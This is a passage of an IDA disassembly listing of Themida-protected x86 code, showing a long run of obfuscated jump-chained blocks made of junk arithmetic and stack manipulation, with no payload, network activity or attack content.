; ---------------------------------------------------------------------------
loc_5A1B62: ; CODE XREF: Themida_:00594046j
mov dl, ah
jmp loc_5971AB
; ---------------------------------------------------------------------------
loc_5A1B69: ; CODE XREF: Themida_:005992CAj
push ecx
jmp loc_59E596
; ---------------------------------------------------------------------------
loc_5A1B6F: ; CODE XREF: Themida_:005A25AAj
mov esp, [esp]
jmp loc_59230E
; ---------------------------------------------------------------------------
loc_5A1B77: ; CODE XREF: Themida_:0059A583j
mov [esp], ebx
push dword ptr [esp+4]
push dword ptr [esp]
pop ebx
add esp, 4
pop dword ptr [esp]
pop esp
xor [esp], eax
pushf
jmp loc_5993C6
; ---------------------------------------------------------------------------
loc_5A1B92: ; CODE XREF: Themida_:005985F8j
mov [esp], eax
mov eax, 9467BA8h
add edi, eax
pop eax
jmp loc_5A03D2
; ---------------------------------------------------------------------------
loc_5A1BA2: ; CODE XREF: Themida_:00593CE6j
pop edx
xchg esi, [esp]
pop esp
jmp loc_59FE35
; ---------------------------------------------------------------------------
loc_5A1BAC: ; CODE XREF: Themida_:005A41F9j
sub ebp, 0FFFFFFFFh
shr ebp, 8
push eax
mov eax, 573F2886h
or ebp, eax
pop eax
push edi
mov edi, 70AD4690h
xor ebp, edi
pop edi
mov ecx, ebp
jmp loc_599EBF
; ---------------------------------------------------------------------------
loc_5A1BCB: ; CODE XREF: Themida_:005A03DEj
mov [esp], eax
jmp loc_599234
; ---------------------------------------------------------------------------
loc_5A1BD3: ; CODE XREF: Themida_:005A500Cj
pop eax
sub ecx, 4
jmp loc_59C739
; ---------------------------------------------------------------------------
loc_5A1BDC: ; CODE XREF: Themida_:005970CAj
pop dword ptr [esp]
pop esp
xor al, cl
jmp loc_595674
; ---------------------------------------------------------------------------
loc_5A1BE7: ; CODE XREF: Themida_:00592FF8j
mov eax, esi
pop esi
add eax, 69776C5Ch
jmp loc_59237C
; ---------------------------------------------------------------------------
loc_5A1BF4: ; CODE XREF: Themida_:0059C841j
pop esi
push 586Eh
mov [esp], ecx
push ebx
jmp loc_592E5E
; ---------------------------------------------------------------------------
loc_5A1C03: ; CODE XREF: Themida_:0059EC77j
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
mov [esp], edx
jmp loc_5A290E
; ---------------------------------------------------------------------------
loc_5A1C15: ; CODE XREF: Themida_:0059D9E8j
mov ecx, 1D782AA1h
xor edi, ecx
pop ecx
push edi
pop ebp
jmp loc_59746D
; ---------------------------------------------------------------------------
loc_5A1C24: ; CODE XREF: Themida_:005907CDj
mov edi, esp
add edi, 4
sub esp, 4
mov [esp], ecx
push ebx
mov ebx, 3B2E3C40h
sub ebx, 3B2E3C3Ch
mov ecx, ebx
pop ebx
jmp loc_5904D6
; ---------------------------------------------------------------------------
loc_5A1C46: ; CODE XREF: Themida_:005A33CAj
mov eax, [esp]
add esp, 4
push 1B6h
jmp loc_5A0831
; ---------------------------------------------------------------------------
loc_5A1C56: ; CODE XREF: Themida_:0059DCD9j
push 2A6Eh
mov [esp], edx
mov edx, 408AA941h
push 3F2h
mov [esp], ebp
sub esp, 4
mov [esp], esi
mov esi, 13971E53h
jmp loc_595E94
; ---------------------------------------------------------------------------
loc_5A1C7E: ; CODE XREF: Themida_:0059568Bj
push ebp
jmp loc_592A5C
; ---------------------------------------------------------------------------
loc_5A1C84: ; CODE XREF: Themida_:0059F310j
sub eax, 4C334E16h
mov ebx, [esp]
push 49C7h
mov [esp], edi
mov edi, esp
push ebp
mov ebp, 4
sub edi, 5CB76057h
add edi, ebp
push edx
push ecx
mov ecx, 77B426B7h
jmp loc_5A1093
; ---------------------------------------------------------------------------
loc_5A1CB0: ; CODE XREF: Themida_:005A1DF8j
mov esi, 68CD6F98h
mov edx, 0E197B628h
add edx, esi
jmp loc_5A41B4
; ---------------------------------------------------------------------------
loc_5A1CC1: ; CODE XREF: Themida_:00594351j
xor ebp, ebx
mov ebx, [esp]
jmp loc_59F0A2
; ---------------------------------------------------------------------------
loc_5A1CCB: ; CODE XREF: Themida_:005A4D70j
add esp, 4
add edi, 4
push edi
jmp loc_595ABF
; ---------------------------------------------------------------------------
loc_5A1CDD: ; CODE XREF: Themida_:005A197Bj
add esp, 4
push 1448h
mov [esp], edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
mov [esp], esi
push esp
jmp loc_59823D
; ---------------------------------------------------------------------------
loc_5A1CFA: ; CODE XREF: Themida_:005A3BA2j
mov edi, 2
jmp loc_59DA36
; ---------------------------------------------------------------------------
loc_5A1D04: ; CODE XREF: Themida_:005984C8j
add esp, 4
xchg ebx, [esp]
pop esp
xchg esi, [esp]
jmp loc_59ABB3
; ---------------------------------------------------------------------------
loc_5A1D16: ; CODE XREF: Themida_:005976E2j
mov edx, 37572C89h
neg edx
push eax
jmp loc_59F322
; ---------------------------------------------------------------------------
loc_5A1D23: ; CODE XREF: Themida_:00590AC5j
pop esp
push esp
jmp loc_59807E
; ---------------------------------------------------------------------------
loc_5A1D2A: ; CODE XREF: Themida_:005953BDj
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
push 870h
mov [esp], esi
push 1
mov esi, [esp]
add esp, 4
push ecx
push esp
jmp loc_596CCE
; ---------------------------------------------------------------------------
loc_5A1D50: ; CODE XREF: Themida_:00593E38j
shl ecx, 3
sub ecx, 4123306Ah
shl ecx, 4
sub ecx, 57374762h
add ebx, ecx
pop ecx
add ebx, 2A5C4483h
sub ebx, 3376542h
push 18C8h
mov [esp], eax
mov eax, 527F71C8h
inc eax
shr eax, 5
xor eax, 492D7BBEh
or eax, 5F6D7854h
sub esp, 4
mov [esp], ebx
mov ebx, 3673B3AAh
sub eax, ebx
pop ebx
add ebx, eax
jmp loc_59BCD0
; ---------------------------------------------------------------------------
loc_5A1DA1: ; CODE XREF: Themida_:00593FDEj
mov ebp, [esp]
jmp loc_595E9F
; ---------------------------------------------------------------------------
loc_5A1DA9: ; CODE XREF: Themida_:005A4208j
sub ch, ah
sub ch, 90h
pop ax
jmp loc_599E07
; ---------------------------------------------------------------------------
loc_5A1DB5: ; CODE XREF: Themida_:00598C19j
mov ebx, 49F05B8Fh
dec ebx
jmp loc_5A4B42
; ---------------------------------------------------------------------------
loc_5A1DC0: ; CODE XREF: Themida_:0059E59Dj
pop eax
jmp loc_59C79B
; ---------------------------------------------------------------------------
loc_5A1DC6: ; CODE XREF: Themida_:005A4DF9j
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_595D99
; ---------------------------------------------------------------------------
loc_5A1DD8: ; CODE XREF: Themida_:0059EC8Bj
mov edx, [esp]
add esp, 4
push ebp
mov ebp, 47D07165h
xor ebp, 666D30E9h
shl ebp, 2
not ebp
jmp loc_59D81A
; ---------------------------------------------------------------------------
loc_5A1DF7: ; CODE XREF: Themida_:005A2C6Aj
push esi
jmp loc_5A1CB0
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_59C53D
; ---------------------------------------------------------------------------
loc_5A1E06: ; CODE XREF: Themida_:00598E4Bj
pop ecx
jmp loc_59F4F8
; ---------------------------------------------------------------------------
loc_5A1E0C: ; CODE XREF: Themida_:0059D8B4j
push ecx
mov ecx, 1C007D48h
mov ebx, ecx
pop ecx
sub esp, 4
mov [esp], ebp
jmp loc_59F409
; ---------------------------------------------------------------------------
loc_5A1E23: ; CODE XREF: Themida_:0059C82Aj
sub esp, 2
mov [esp], dx
jmp loc_59E8CE
; ---------------------------------------------------------------------------
loc_5A1E2F: ; CODE XREF: Themida_:00596341j
mov [esp], ecx
mov ecx, 1A7B2FFBh
jmp loc_59488E
; ---------------------------------------------------------------------------
loc_5A1E3C: ; CODE XREF: Themida_:00593E5Fj
xor ebx, edx
mov edx, [esp]
add esp, 4
xor ebx, 536F2F9Ah
sub esi, 54573637h
jmp loc_59F267
; ---------------------------------------------------------------------------
loc_5A1E55: ; CODE XREF: Themida_:00591D39j
mov edi, [esp]
add esp, 4
add edi, 32A716E8h
xchg edx, edi
not edx
jmp loc_5A24AE
; ---------------------------------------------------------------------------
loc_5A1E6D: ; CODE XREF: Themida_:005A2944j
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ecx
jmp loc_59B3C8
; ---------------------------------------------------------------------------
loc_5A1E84: ; CODE XREF: Themida_:005A3E02j
xor [esp], ax
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A1E8E: ; CODE XREF: Themida_:00599E22j
pop ecx
sub esp, 4
jmp loc_5951E8
; ---------------------------------------------------------------------------
loc_5A1E9A: ; CODE XREF: Themida_:00595569j
xchg edi, [esp]
jmp loc_5A4072
; ---------------------------------------------------------------------------
loc_5A1EA2: ; CODE XREF: Themida_:0059E915j
push edi
mov edi, 34F43BC8h
shl edi, 2
inc edi
push ebx
jmp loc_59B33F
; ---------------------------------------------------------------------------
loc_5A1EB2: ; CODE XREF: Themida_:0059E2F3j
push 906h
jmp loc_59F315
; ---------------------------------------------------------------------------
loc_5A1EBC: ; CODE XREF: Themida_:0059AA8Ej
push eax
jmp loc_592122
; ---------------------------------------------------------------------------
loc_5A1EC2: ; CODE XREF: Themida_:005A3EDCj
push ebx
mov bh, 0D2h
sub ch, bh
pop ebx
sub al, ch
jmp loc_59B712
; ---------------------------------------------------------------------------
loc_5A1ECF: ; CODE XREF: Themida_:0059DA31j
mov ebp, 1
add ecx, ebp
pop ebp
dec ecx
push eax
push 309E1FF6h
pop eax
or eax, 7B452FCBh
add eax, 77A23B60h
sub eax, 0A2FFC41Ah
xor ecx, eax
pop eax
jmp loc_591048
; ---------------------------------------------------------------------------
loc_5A1EF6: ; CODE XREF: Themida_:005A12FEj
pop esi
xchg edi, [esp]
pop esp
jmp loc_5938B5
; ---------------------------------------------------------------------------
loc_5A1F00: ; CODE XREF: Themida_:005A38EBj
mov ebx, 2
sub esi, 638A21B9h
sub esi, 57990CDDh
add esi, ebx
add esi, 57990CDDh
add esi, 638A21B9h
push dword ptr [esp]
pop ebx
push esi
mov esi, esp
jmp loc_59D394
; ---------------------------------------------------------------------------
loc_5A1F2B: ; CODE XREF: Themida_:00599B93j
mov ecx, eax
jmp loc_598BDF
; ---------------------------------------------------------------------------
loc_5A1F32: ; CODE XREF: Themida_:005A204Cj
add ebp, 28385866h
add ebp, edx
jmp loc_599F35
; ---------------------------------------------------------------------------
loc_5A1F3F: ; CODE XREF: Themida_:005997B4j
mov ebp, [esp]
jmp loc_596AF8
; ---------------------------------------------------------------------------
loc_5A1F47: ; CODE XREF: Themida_:0059FD8Fj
push eax
mov eax, esp
add eax, 4
push ebp
mov ebp, 4
add eax, ebp
pop ebp
xor eax, [esp]
xor [esp], eax
jmp loc_59829A
; ---------------------------------------------------------------------------
loc_5A1F63: ; CODE XREF: Themida_:005A4B70j
mov bl, 0EEh
mov al, 1Eh
sub al, bl
mov ebx, [esp]
add esp, 4
neg al
not al
dec al
xor al, 9Dh
add al, 85h
add dl, al
pop eax
push 19D1h
mov [esp], eax
mov ah, 48h
shl ah, 2
add ah, 0FEh
xchg cl, ah
jmp loc_59C3A6
; ---------------------------------------------------------------------------
loc_5A1F96: ; CODE XREF: Themida_:0059A76Bj
add dword ptr [esp], 4
mov ecx, [esp]
push eax
mov eax, esp
add eax, 4
jmp loc_5972E4
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_59C84E
; ---------------------------------------------------------------------------
loc_5A1FB3: ; CODE XREF: Themida_:005A2891j
pop esp
push small 6C39h
jmp loc_5A2A77
; ---------------------------------------------------------------------------
loc_5A1FBD: ; CODE XREF: Themida_:0059127Dj
add ebp, 4
xchg ebp, [esp]
pop esp
sub esp, 4
mov [esp], ecx
mov ecx, 4079007Bh
jmp loc_59F8CA
; ---------------------------------------------------------------------------
loc_5A1FD7: ; CODE XREF: Themida_:0059FF14j
pop eax
jmp loc_591BCD
; ---------------------------------------------------------------------------
loc_5A1FDD: ; CODE XREF: Themida_:00594835j
add esp, 4
add esp, 4
add ebx, esi
pop esi
jmp loc_59D56C
; ---------------------------------------------------------------------------
loc_5A1FEE: ; CODE XREF: Themida_:00592BC3j
mov ebp, [esp]
jmp loc_59DF2E
; ---------------------------------------------------------------------------
loc_5A1FF6: ; CODE XREF: Themida_:005A287Aj
mov esi, [esp]
push edx
push esp
pop edx
add edx, 4
add edx, 4
jmp loc_59B32B
; ---------------------------------------------------------------------------
loc_5A200A: ; CODE XREF: Themida_:0059E333j
pop dword ptr [esp]
mov esp, [esp]
sub esp, 4
jmp loc_5A03E3
; ---------------------------------------------------------------------------
loc_5A201B: ; CODE XREF: Themida_:00597C3Cj
mov ebx, 6E8D7E72h
sub ebx, ebp
jmp loc_5951F0
; ---------------------------------------------------------------------------
loc_5A2027: ; CODE XREF: Themida_:00592997j
neg edx
shl edx, 2
xor edx, 50DC38C4h
add edx, 0FE78DFF1h
jmp loc_5991A5
; ---------------------------------------------------------------------------
loc_5A203D: ; CODE XREF: Themida_:00595C7Fj
pop dword ptr [esp]
jmp loc_5943C0
; ---------------------------------------------------------------------------
loc_5A2045: ; CODE XREF: Themida_:0059AAB0j
pop esi
jmp loc_59A54A
; ---------------------------------------------------------------------------
loc_5A204B: ; CODE XREF: Themida_:005A515Aj
pop edi
jmp loc_5A1F32
; ---------------------------------------------------------------------------
loc_5A2051: ; CODE XREF: Themida_:0059E1A7j
xor dword ptr [esp], 4FCF5DD2h
pop ebp
jmp loc_59D424
; ---------------------------------------------------------------------------
loc_5A205E: ; CODE XREF: Themida_:005A3B26j
push ecx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ecx
jmp loc_59813D
; ---------------------------------------------------------------------------
loc_5A206F: ; CODE XREF: Themida_:005990C4j
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], edx
push 57F4h
jmp loc_5A2FEF
; ---------------------------------------------------------------------------
loc_5A2089: ; CODE XREF: Themida_:00596616j
add esp, 4
mov eax, [esp]
jmp loc_5925B0
; ---------------------------------------------------------------------------
loc_5A2097: ; CODE XREF: Themida_:00598A74j
test ecx, eax
pushf
jmp loc_5A0265
; ---------------------------------------------------------------------------
loc_5A209F: ; CODE XREF: Themida_:00598738j
pop esp
mov [esp], esi
mov esi, 1617E4h
sub edi, 0BC6779Bh
add edi, esi
add edi, 0BC6779Bh
mov esi, [esp]
add esp, 4
add edi, 1C224536h
jmp loc_59A411
; ---------------------------------------------------------------------------
loc_5A20CA: ; CODE XREF: Themida_:005A0BCEj
mov esi, 1F5162B1h
add ebx, esi
mov esi, [esp]
jmp loc_59E86F
; ---------------------------------------------------------------------------
loc_5A20D9: ; CODE XREF: Themida_:005A15EBj
dec esi
push esi
jmp loc_598545
; ---------------------------------------------------------------------------
loc_5A20E0: ; CODE XREF: Themida_:00591012j
push dword ptr [esp+4]
mov eax, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
jmp loc_5A29BE
; ---------------------------------------------------------------------------
loc_5A20F6: ; CODE XREF: Themida_:005990D3j
mov ah, 5Ch
shr ah, 7
not ah
neg ah
sub ah, 0B5h
mov cl, ah
pop eax
mov dl, cl
pop ecx
shr dl, 1
xor dl, 4Bh
add al, 0CAh
add al, dl
jmp loc_59CF77
; ---------------------------------------------------------------------------
loc_5A2116: ; CODE XREF: Themida_:0059D7C3j
mov al, ch
push dword ptr [esp]
pop ecx
add esp, 4
push ebx
push ecx
jmp loc_59A464
; ---------------------------------------------------------------------------
loc_5A2129: ; CODE XREF: Themida_:0059BB1Bj
sub dh, 0DCh
inc dh
inc dh
shl dh, 7
add dh, 99h
jmp loc_59996C
; ---------------------------------------------------------------------------
loc_5A213B: ; CODE XREF: Themida_:005943F4j
push ebp
mov ebp, 1E0A27A8h
shl ebp, 7
not ebp
jmp loc_5961BE
; ---------------------------------------------------------------------------
loc_5A214B: ; CODE XREF: Themida_:005A3A25j
pop eax
jmp loc_594418
; ---------------------------------------------------------------------------
loc_5A2151: ; CODE XREF: Themida_:005A4702j
not edi
add edi, 2A4D5048h
add ebx, edi
pop edi
push edx
mov edx, 4
add ebx, edx
pop edx
xchg ebx, [esp]
pop esp
push ebp
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebp
push ebp
push esp
pop ebp
jmp loc_5916A9
; ---------------------------------------------------------------------------
loc_5A217D: ; CODE XREF: Themida_:0059032Fj
push dword ptr [esp]
jmp loc_5974D3
; ---------------------------------------------------------------------------
loc_5A2185: ; CODE XREF: Themida_:005951C6j
mov eax, 712E7174h
add eax, 6EA219ADh
add eax, 4228967Ch
add ebp, eax
jmp loc_59AF75
; ---------------------------------------------------------------------------
mov cx, [esp]
push 326Ch
mov [esp], ebx
jmp loc_593E64
; ---------------------------------------------------------------------------
loc_5A21AC: ; CODE XREF: Themida_:005930EDj
push ebp
mov ebp, 65980980h
jmp loc_5923FE
; ---------------------------------------------------------------------------
loc_5A21B7: ; CODE XREF: Themida_:00593A80j
pop ecx
jmp loc_5A4790
; ---------------------------------------------------------------------------
loc_5A21BD: ; CODE XREF: Themida_:0059F947j
pop eax
xor ecx, [esp]
jmp loc_59D533
; ---------------------------------------------------------------------------
loc_5A21C6: ; CODE XREF: Themida_:0059DB34j
mov ecx, [esp]
jmp loc_59DE57
; ---------------------------------------------------------------------------
loc_5A21CE: ; CODE XREF: Themida_:00598C10j
sub esp, 4
jmp loc_591D02
; ---------------------------------------------------------------------------
loc_5A21D9: ; CODE XREF: Themida_:00595B7Bj
add edi, eax
sub edi, 252F0750h
jmp loc_5A1350
; ---------------------------------------------------------------------------
loc_5A21E6: ; CODE XREF: Themida_:005A24A9j
push ecx
push edi
jmp loc_59FF8E
; ---------------------------------------------------------------------------
loc_5A21ED: ; CODE XREF: Themida_:00598243j
add esp, 4
jmp loc_5946A6
; ---------------------------------------------------------------------------
loc_5A21F5: ; CODE XREF: Themida_:0059A35Fj
mov esi, 4
add edi, esi
pop esi
add edi, 4
sub esp, 4
mov [esp], edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
push edx
push esp
jmp loc_5A2821
; ---------------------------------------------------------------------------
loc_5A2219: ; CODE XREF: Themida_:005967D1j
push ecx
mov ecx, esp
add ecx, 4
jmp loc_59F5AE
; ---------------------------------------------------------------------------
loc_5A2227: ; CODE XREF: Themida_:005974CEj
sub eax, 0C00A9583h
jmp loc_59A6CC
; ---------------------------------------------------------------------------
loc_5A2231: ; CODE XREF: Themida_:00596157j
sub esi, eax
pop eax
jmp loc_598E50
; ---------------------------------------------------------------------------
loc_5A2239: ; CODE XREF: Themida_:0059AFAFj
pop esi
xchg eax, [esp]
pop esp
sub esp, 4
mov [esp], ebx
jmp loc_591F3E
; ---------------------------------------------------------------------------
loc_5A224C: ; CODE XREF: Themida_:00595955j
pop ebp
jmp loc_5A088C
; ---------------------------------------------------------------------------
loc_5A2252: ; CODE XREF: Themida_:0059CBD8j
mov eax, 4
add ecx, eax
jmp loc_5A5112
; ---------------------------------------------------------------------------
loc_5A225E: ; CODE XREF: Themida_:0059B8ABj
add ebp, 4
jmp loc_5A0ACB
; ---------------------------------------------------------------------------
loc_5A2269: ; CODE XREF: Themida_:005970B8j
add esi, edi
pop edi
sub eax, esi
jmp loc_595EFE
; ---------------------------------------------------------------------------
loc_5A2273: ; CODE XREF: Themida_:005A3BC4j
push ebp
push esp
jmp loc_5A24DB
; ---------------------------------------------------------------------------
loc_5A227A: ; CODE XREF: Themida_:005A1117j
add ebx, 44241984h
mov edx, [esp]
add esp, 4
pop dword ptr [eax]
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A2290: ; CODE XREF: Themida_:0059C7D2j
add eax, 4
jmp loc_59C101
; ---------------------------------------------------------------------------
loc_5A229A: ; CODE XREF: Themida_:005A120Dj
dec edi
push edi
jmp loc_5956CB
; ---------------------------------------------------------------------------
loc_5A22A1: ; CODE XREF: Themida_:00595424j
xor ebp, 7FAF6362h
push ebp
sub dword ptr [esp], 0D1B20E1h
pop ebx
add ebx, 0D1B20E1h
pop ebp
push 0
sub [esp], ebx
pop ebx
not ebx
add ebx, 0E072D115h
or edx, ebx
pop ebx
jmp loc_5A0A41
; ---------------------------------------------------------------------------
loc_5A22D0: ; CODE XREF: Themida_:0059C4CDj
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
shl dword ptr [esp], cl
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A22E2: ; CODE XREF: Themida_:0059C373j
xor edi, 29264B7Eh
add edi, 0F5EC9FF6h
mov edx, edi
jmp loc_599A39
; ---------------------------------------------------------------------------
loc_5A22F5: ; CODE XREF: Themida_:00594881j
add esp, 4
add esp, 4
jmp loc_595469
; ---------------------------------------------------------------------------
loc_5A2300: ; CODE XREF: Themida_:005961B9j
push esp
pop eax
add eax, 4
push ecx
mov ecx, 4AD5CD3h
or ecx, 42D69B7h
sub ecx, 52732351h
jmp loc_5A26A1
; ---------------------------------------------------------------------------
loc_5A231E: ; CODE XREF: Themida_:0059AC99j
add esp, 4
push edi
mov edi, 31E2359Ah
jmp loc_59504F
; ---------------------------------------------------------------------------
loc_5A232C: ; CODE XREF: Themida_:0059D903j
push esp
pop esi
add esi, 4
jmp loc_5A27E2
; ---------------------------------------------------------------------------
loc_5A2339: ; CODE XREF: Themida_:00590EBFj
add ebx, edx
add ebx, 2191109Dh
push ecx
push 0
pop ecx
add ecx, 7C8807CEh
sub ecx, 1016653Bh
add ecx, ebx
jmp loc_5A5710
; ---------------------------------------------------------------------------
loc_5A235B: ; CODE XREF: Themida_:00592F66j
sub esp, 4
jmp loc_590E7A
; ---------------------------------------------------------------------------
loc_5A2366: ; CODE XREF: Themida_:0059ED08j
push ebp
mov ebp, 8D31410h
inc ebp
add ebp, 0F7523D4h
jmp loc_5A3E54
; ---------------------------------------------------------------------------
loc_5A2378: ; CODE XREF: Themida_:0059E3D8j
pop edi
pop dword ptr [esp]
pop esp
mov [esp], edi
jmp loc_5A2A6D
; ---------------------------------------------------------------------------
loc_5A2385: ; CODE XREF: Themida_:0059F15Dj
mov edx, 17E45C19h
or ecx, edx
pop edx
add ecx, 64FC120Ah
jmp loc_594356
; ---------------------------------------------------------------------------
loc_5A2398: ; CODE XREF: Themida_:005969E5j
mov bp, [esp]
add esp, 2
jmp loc_5993E5
; ---------------------------------------------------------------------------
loc_5A23A7: ; CODE XREF: Themida_:005A3482j
mov edi, 73C736EAh
shl edi, 1
shr edi, 1
sub edi, 0F4B3168Bh
jmp loc_59B65D
; ---------------------------------------------------------------------------
loc_5A23BB: ; CODE XREF: Themida_:00594DADj
mov edi, 41A445ABh
not edi
jmp loc_592384
; ---------------------------------------------------------------------------
loc_5A23C7: ; CODE XREF: Themida_:0059A7A9j
push 16EAh
jmp loc_5964A8
; ---------------------------------------------------------------------------
loc_5A23D1: ; CODE XREF: Themida_:0059E8FCj
mov ebx, 42111BE7h
xor ebx, ebp
pop ebp
add edi, 748B3BD2h
jmp loc_5A0BAA
; ---------------------------------------------------------------------------
loc_5A23E4: ; CODE XREF: Themida_:0059E51Fj
xor esi, [esp]
jmp loc_59FDB2
; ---------------------------------------------------------------------------
loc_5A23EC: ; CODE XREF: Themida_:005A385Ej
sub cl, 0F7h
jmp loc_592832
; ---------------------------------------------------------------------------
loc_5A23F4: ; CODE XREF: Themida_:00598D31j
xchg edi, [esp]
pop esp
mov ecx, [esp]
push esi
push esp
pop esi
add esi, 4
push ebx
mov ebx, 4
add esi, ebx
jmp loc_59442E
; ---------------------------------------------------------------------------
loc_5A2411: ; CODE XREF: Themida_:0059EEECj
push edx
jmp loc_599D67
; ---------------------------------------------------------------------------
loc_5A2417: ; CODE XREF: Themida_:0059BD0Fj
add [esp+4], edi
pop edi
pop ebp
push 5A97h
mov [esp], ecx
mov ecx, 39645E8h
and ecx, 62A2050Eh
xor ecx, 32100D3Eh
sub ecx, 0FFFFFFFFh
add ecx, 0CF6DF7CDh
jmp loc_59A553
; ---------------------------------------------------------------------------
loc_5A2444: ; CODE XREF: Themida_:005929AFj
sub ebx, 0ADC4EA2h
add eax, ebx
pop ebx
jmp loc_5983BD
; ---------------------------------------------------------------------------
loc_5A2452: ; CODE XREF: Themida_:005903C0j
push edi
push edx
mov edx, 763C17F8h
shr edx, 8
sub edx, 6FF76D71h
shl edx, 8
neg edx
push 3B2Eh
mov [esp], ecx
mov ecx, 4E286941h
add ecx, 2A2D64A3h
add ecx, 6C437C6Dh
inc ecx
dec ecx
jmp loc_59E2AB
; ---------------------------------------------------------------------------
loc_5A2487: ; CODE XREF: Themida_:00593280j
pop eax
xor eax, 0FFB442Ch
jmp loc_59DCAC
; ---------------------------------------------------------------------------
loc_5A2492: ; CODE XREF: Themida_:005945E7j
add edx, eax
sub edx, 1E6E5BD0h
pop eax
jmp loc_5915F0
; ---------------------------------------------------------------------------
loc_5A24A0: ; CODE XREF: Themida_:0059EAE0j
add edi, 344BFCB2h
add eax, edi
pop edi
jmp loc_5A21E6
; ---------------------------------------------------------------------------
loc_5A24AE: ; CODE XREF: Themida_:005A1E68j
xchg edx, edi
jmp loc_59182F
; ---------------------------------------------------------------------------
loc_5A24B5: ; CODE XREF: Themida_:00595818j
mov ecx, [esp]
jmp loc_5937B0
; ---------------------------------------------------------------------------
loc_5A24BD: ; CODE XREF: Themida_:0059AD12j
shr edx, 5
add edx, 2E25BF83h
xor ecx, edx
pop edx
and ecx, 57A1130Eh
add ecx, 1DB6217Eh
push ecx
jmp loc_5A0D42
; ---------------------------------------------------------------------------
loc_5A24DB: ; CODE XREF: Themida_:005A2275j
pop ebp
push edi
mov edi, 4
add ebp, edi
mov edi, [esp]
jmp loc_5936B1
; ---------------------------------------------------------------------------
loc_5A24EC: ; CODE XREF: Themida_:00599C13j
pop ebp
jmp loc_59E497
; ---------------------------------------------------------------------------
loc_5A24F2: ; CODE XREF: Themida_:005939A0j
add ebx, 1F2D4740h
push dword ptr [esp]
pop eax
add esp, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
mov ax, [esp]
sub esp, 4
mov [esp], esi
mov esi, esp
push ebx
push 75CE2DF6h
pop ebx
push edx
push esi
push 58C4D38h
pop esi
dec esi
add esi, 6B09B573h
mov edx, esi
pop esi
shr edx, 6
inc edx
sub edx, 8BF42A19h
sub ebx, edx
pop edx
jmp loc_598AE8
; ---------------------------------------------------------------------------
loc_5A2548: ; CODE XREF: Themida_:005A514Dj
mov ebx, [esp]
jmp loc_5A49D5
; ---------------------------------------------------------------------------
loc_5A2550: ; CODE XREF: Themida_:005981EAj
push esi
push esp
mov esi, [esp]
add esp, 4
jmp loc_598132
; ---------------------------------------------------------------------------
loc_5A255D: ; CODE XREF: Themida_:005965F7j
add edx, ebx
mov ebx, [esp]
jmp loc_59873D
; ---------------------------------------------------------------------------
loc_5A2567: ; CODE XREF: Themida_:00599E02j
sub eax, 4
xchg eax, [esp]
jmp loc_592E7C
; ---------------------------------------------------------------------------
loc_5A2572: ; CODE XREF: Themida_:00591710j
mov esi, 75FD5522h
add esi, 0FFFFFFFFh
shl esi, 7
shl esi, 3
push 1CDFh
mov [esp], edi
jmp loc_59A331
; ---------------------------------------------------------------------------
loc_5A258D: ; CODE XREF: Themida_:00598C7Aj
mov [esp], edi
push dword ptr [esp+4]
mov edi, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
jmp loc_5933CC
; ---------------------------------------------------------------------------
loc_5A25A6: ; CODE XREF: Themida_:005A27EDj
pop esi
pop dword ptr [esp]
jmp loc_5A1B6F
; ---------------------------------------------------------------------------
loc_5A25AF: ; CODE XREF: Themida_:005A3BB6j
mov ebp, 4
jmp loc_5A374B
; ---------------------------------------------------------------------------
loc_5A25B9: ; CODE XREF: Themida_:00596695j
and esi, 3038128Ah
sub esi, 0E35C1496h
sub ebx, esi
mov esi, [esp]
add esp, 4
push 16C1h
mov [esp], ebx
sub dword ptr [esp], 785329A7h
pop ebp
add ebp, 785329A7h
pop ebx
jmp loc_598A9F
; ---------------------------------------------------------------------------
loc_5A25E9: ; CODE XREF: Themida_:005947D3j
push 1EA064BCh
pop ebp
jmp loc_59A27F
; ---------------------------------------------------------------------------
loc_5A25F4: ; CODE XREF: Themida_:00593C1Dj
pop eax
push 207Bh
mov [esp], edx
jmp loc_5A3342
; ---------------------------------------------------------------------------
loc_5A2602: ; CODE XREF: Themida_:005997ACj
sub edx, 50A223DDh
sub edx, 7A413F3Ah
jmp loc_590B34
; ---------------------------------------------------------------------------
loc_5A2613: ; CODE XREF: Themida_:00598FE7j
add esp, 4
jmp loc_5A26BE
; ---------------------------------------------------------------------------
loc_5A261E: ; CODE XREF: Themida_:005A1AEEj
push 1465h
mov [esp], eax
jmp loc_59FF7E
; ---------------------------------------------------------------------------
loc_5A262B: ; CODE XREF: Themida_:0059BE98j
mov [esp], ebx
sub esp, 4
mov [esp], esp
push eax
jmp loc_59F457
; ---------------------------------------------------------------------------
loc_5A263D: ; CODE XREF: Themida_:0059F233j
pop esi
sub eax, ebx
push 794h
mov [esp], esi
mov esi, 28B05E89h
push ebx
mov ebx, 6FD91A98h
add eax, ebx
pop ebx
add eax, 266276E3h
add eax, esi
sub eax, 266276E3h
sub esp, 4
mov [esp], edx
mov edx, 5FA916B8h
not edx
xor edx, 1C2810B0h
sub edx, 0AB620C6h
inc edx
push ecx
mov ecx, 41EFBE9Ah
jmp loc_59C901
; ---------------------------------------------------------------------------
loc_5A2687: ; CODE XREF: Themida_:0059F52Ej
pop edi
sub esp, 4
mov [esp], ebx
jmp loc_5A30D6
; ---------------------------------------------------------------------------
loc_5A2696: ; CODE XREF: Themida_:00591C36j
push ebp
push 5B4Bh
jmp loc_59E824
; ---------------------------------------------------------------------------
loc_5A26A1: ; CODE XREF: Themida_:005A2319j
